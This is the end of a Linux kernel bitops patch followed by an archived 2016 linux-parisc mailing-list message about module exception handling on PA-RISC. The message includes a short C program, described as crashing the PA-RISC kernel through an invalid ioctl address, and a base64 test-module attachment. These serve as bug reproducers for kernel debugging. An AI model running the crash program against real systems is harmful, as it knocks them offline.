@@ -211,6 +211,7 @@ static __inline__ int fls(int x)
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 
diff --git a/arch/s390/include/asm/bitops.h b/arch/s390/include/asm/bitops.h
index 8043f10..198eead 100644
--- a/arch/s390/include/asm/bitops.h
+++ b/arch/s390/include/asm/bitops.h
@@ -460,6 +460,7 @@ static inline int fls(int word)
 #include <asm-generic/bitops/ffz.h>
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
diff --git a/arch/sh/include/asm/bitops.h b/arch/sh/include/asm/bitops.h
index fc8e652..4bf0c35 100644
--- a/arch/sh/include/asm/bitops.h
+++ b/arch/sh/include/asm/bitops.h
@@ -86,6 +86,7 @@ static inline unsigned long ffz(unsigned long word)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
diff --git a/arch/xtensa/include/asm/bitops.h b/arch/xtensa/include/asm/bitops.h
index 3f44fa2..981fa83 100644
--- a/arch/xtensa/include/asm/bitops.h
+++ b/arch/xtensa/include/asm/bitops.h
@@ -229,6 +229,7 @@ test_and_change_bit(unsigned int bit, volatile unsigned long *p)
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
 
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 
-- 
2.5.0

From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel 4.6-rc unbootable due to module changes
Date: Wed, 6 Apr 2016 10:30:47 -0400 (EDT)
Lines: 330
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1604061014490.30369@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com> <alpine.LRH.2.02.1604051332280.25453@file01.intranet.prod.int.rdu2.redhat.com> <570409DA.1060508@gmx.de>
 <alpine.LRH.2.02.1604051612310.32758@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="185206533-423949954-1459952110=:30369"
X-Trace: ger.gmane.org 1459953075 28787 80.91.229.3 (6 Apr 2016 14:31:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Apr 2016 14:31:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 06 16:31:14 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anoUA-00009M-Qu
	for glpp-linux-parisc@plane.gmane.org; Wed, 06 Apr 2016 16:31:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753371AbcDFOa4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Apr 2016 10:30:56 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:58402 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753299AbcDFOa4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Apr 2016 10:30:56 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id F274F3B706;
	Wed,  6 Apr 2016 14:30:49 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u36EUnHx030102
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Wed, 6 Apr 2016 10:30:49 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u36EUnWo031732;
	Wed, 6 Apr 2016 10:30:49 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u36EUlZY031691;
	Wed, 6 Apr 2016 10:30:48 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <alpine.LRH.2.02.1604051612310.32758@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
Content-ID: <alpine.LRH.2.02.1604061015160.30369@file01.intranet.prod.int.rdu2.redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26593
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26593>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

--185206533-423949954-1459952110=:30369
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <alpine.LRH.2.02.1604061015161.30369@file01.intranet.prod.int.rdu2.redhat.com>



On Tue, 5 Apr 2016, Mikulas Patocka wrote:

> 
> 
> On Tue, 5 Apr 2016, Helge Deller wrote:
> 
> > On 05.04.2016 19:36, Mikulas Patocka wrote:
> > > On Tue, 5 Apr 2016, Mikulas Patocka wrote:
> > > 
> > >> Hi
> > >>
> > >> The patch "parisc: Use generic extable search and sort routines" makes the 
> > >> kernel unable to load any modules. It fails with:
> > >>
> > >> module unix: Unknown relocation: 9
> > >> modprobe: FATAL: Error inserting unix (/lib/modules/4.6.0-rc2/kernel/net/unix/unix.ko): Invalid module format
> > >>
> > >> When I revert the patch, the kernel 4.6-rc2 boots fine.
> > >>
> > >> Apparently, the function apply_relocate_add in arch/parisc/kernel/module.c 
> > >> doesn't handle the new relocation type.
> > >>
> > >> Mikulas
> > > 
> > > BTW. I'm using hppa64 binutils 2.21 to build the kernel. It generates the 
> > > R_PARISC_PCREL32 relocation that the kernel module loader doesn't handle:
> > 
> > 
> > Can you try attached patch (untested) ?
> > 
> > Helge
> 
> I tried a similar patch, the system booted fine ... but then I discovered 
> that the system boots fine no matter what value is written to *loc.
> 
> Apparently, none of the modules trigger any exceptions in my 
> configuration.
> 
> I'll have to create a test module that triggers some exception.
> 
> Mikulas

Hmm - it's even more strange.

I created a test kernel module that triggers an exception by using 
get_user with an invalid address (see the attached file exception.tar)

On x86-64 the module loads fine, but on pa-risc it always crashes, even 
with older kernel version (I tried versions 2.6.39, 4.5 and 4.6-rc2 and I 
always get a crash).

When I write a userspace code that triggers a fault in module unix.ko, by 
passing an invalid address to the ioctl syscall, the kernel also crashes.

So, it seems that handling exceptions from modules never worked on 
pa-risc, it was just masked by the fact that exceptions from modules don't 
happen during normal use.

Mikulas


/* this will crash pa-risc kernel if it is compiled with CONFIG_UNIX=m */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

int main(void)
{
        int s, r;
        s = socket(PF_UNIX, SOCK_STREAM, 0);
        if (s == -1) perror("socket"), exit(1);
        r = ioctl(s, SIOCOUTQ, 0x124);
        if (r == -1) perror("ioctl"), exit(1);
        return 0;
}

--185206533-423949954-1459952110=:30369
Content-Type: APPLICATION/X-TAR; NAME=exception.tar
Content-Transfer-Encoding: BASE64
Content-ID: <alpine.LRH.2.02.1604061015100.30369@file01.intranet.prod.int.rdu2.redhat.com>
Content-Description: exception module
Content-Disposition: ATTACHMENT; FILENAME=exception.tar

ZXhjZXB0aW9uLwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAADAwMDA3NTUAMDAwMDAwMAAwMDAwMDAwADAwMDAwMDAwMDAw
ADEyNzAxMjE0NjM1ADAxMTU1MwAgNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAgAHJvb3QA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcm9vdAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABleGNlcHRpb24vTWFrZWZpbGUAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDAwMDY0NAAwMDAwMDAwADAw
MDAwMDAAMDAwMDAwMDAzMTAAMTI3MDEyMTM1MjIAMDEzMTc3ACAwAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABy
b290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGlmbmRlZiBNCktF
Uk5FTERJUiA6PSAvbGliL21vZHVsZXMvJChzaGVsbCB1bmFtZSAtcikvYnVp
bGQKbW9kdWxlIDoKCSQoTUFLRSkgLUMgJChLRVJORUxESVIpIE09YHB3ZGAg
U1RBTkRBTE9ORV9CVUlMRD15CmNsZWFuIDoKCSQoTUFLRSkgLUMgJChLRVJO
RUxESVIpIE09YHB3ZGAgY2xlYW4KZWxzZQpvYmotbSA6PSB0ZXN0bW9kdWxl
Lm8KZW5kaWYKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAZXhjZXB0aW9uL3Rlc3Rtb2R1bGUuYwAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAADAwMDA2NDQAMDAwMDAwMAAwMDAwMDAwADAwMDAw
MDAxMzExADEyNzAxMjE0NjE1ADAxNDA3NgAgMAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAg
AHJvb3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcm9vdAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjaW5jbHVkZSA8bGludXgvbW9kdWxl
Lmg+CiNpbmNsdWRlIDxsaW51eC9pbml0Lmg+CiNpbmNsdWRlIDxhc20vdWFj
Y2Vzcy5oPgoKc3RhdGljIGludCBfX2luaXQgdGVzdG1vZHVsZV9pbml0KHZv
aWQpCnsKCWludCB0ZXN0OwoJbW1fc2VnbWVudF90IHNlZzsKCXByaW50aygi
dHJ5aW5nIHVzZXIgZmF1bHRcbiIpOwoJaWYgKGdldF91c2VyKHRlc3QsIChp
bnQgKikweDEyNCkpIHsKCQlwcmludGsoInVzZXIgZmF1bHQgaGFuZGxlZFxu
Iik7Cgl9IGVsc2UgewoJCXByaW50aygidXNlciBmYXVsdCBub3QgaGFuZGxl
ZFxuIik7Cgl9CglzZWcgPSBnZXRfZnMoKTsKCXNldF9mcyhLRVJORUxfRFMp
OwoJcHJpbnRrKCJ0cnlpbmcga2VybmVsIGZhdWx0XG4iKTsKCWlmIChnZXRf
dXNlcih0ZXN0LCAoaW50ICopMHgxMjQpKSB7CgkJcHJpbnRrKCJrZXJuZWwg
ZmF1bHQgaGFuZGxlZFxuIik7Cgl9IGVsc2UgewoJCXByaW50aygia2VybmVs
IGZhdWx0IG5vdCBoYW5kbGVkXG4iKTsKCX0KCXNldF9mcyhzZWcpOwoJcHJp
bnRrKCJtb2R1bGUgbG9hZGVkXG4iKTsKCXJldHVybiAwOwp9CgpzdGF0aWMg
dm9pZCBfX2V4aXQgdGVzdG1vZHVsZV9leGl0KHZvaWQpCnsKCXByaW50aygi
bW9kdWxlIHVubG9hZGVkXG4iKTsKfQoKbW9kdWxlX2luaXQodGVzdG1vZHVs
ZV9pbml0KQptb2R1bGVfZXhpdCh0ZXN0bW9kdWxlX2V4aXQpCk1PRFVMRV9M
SUNFTlNFKCJHUEwiKTsKCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
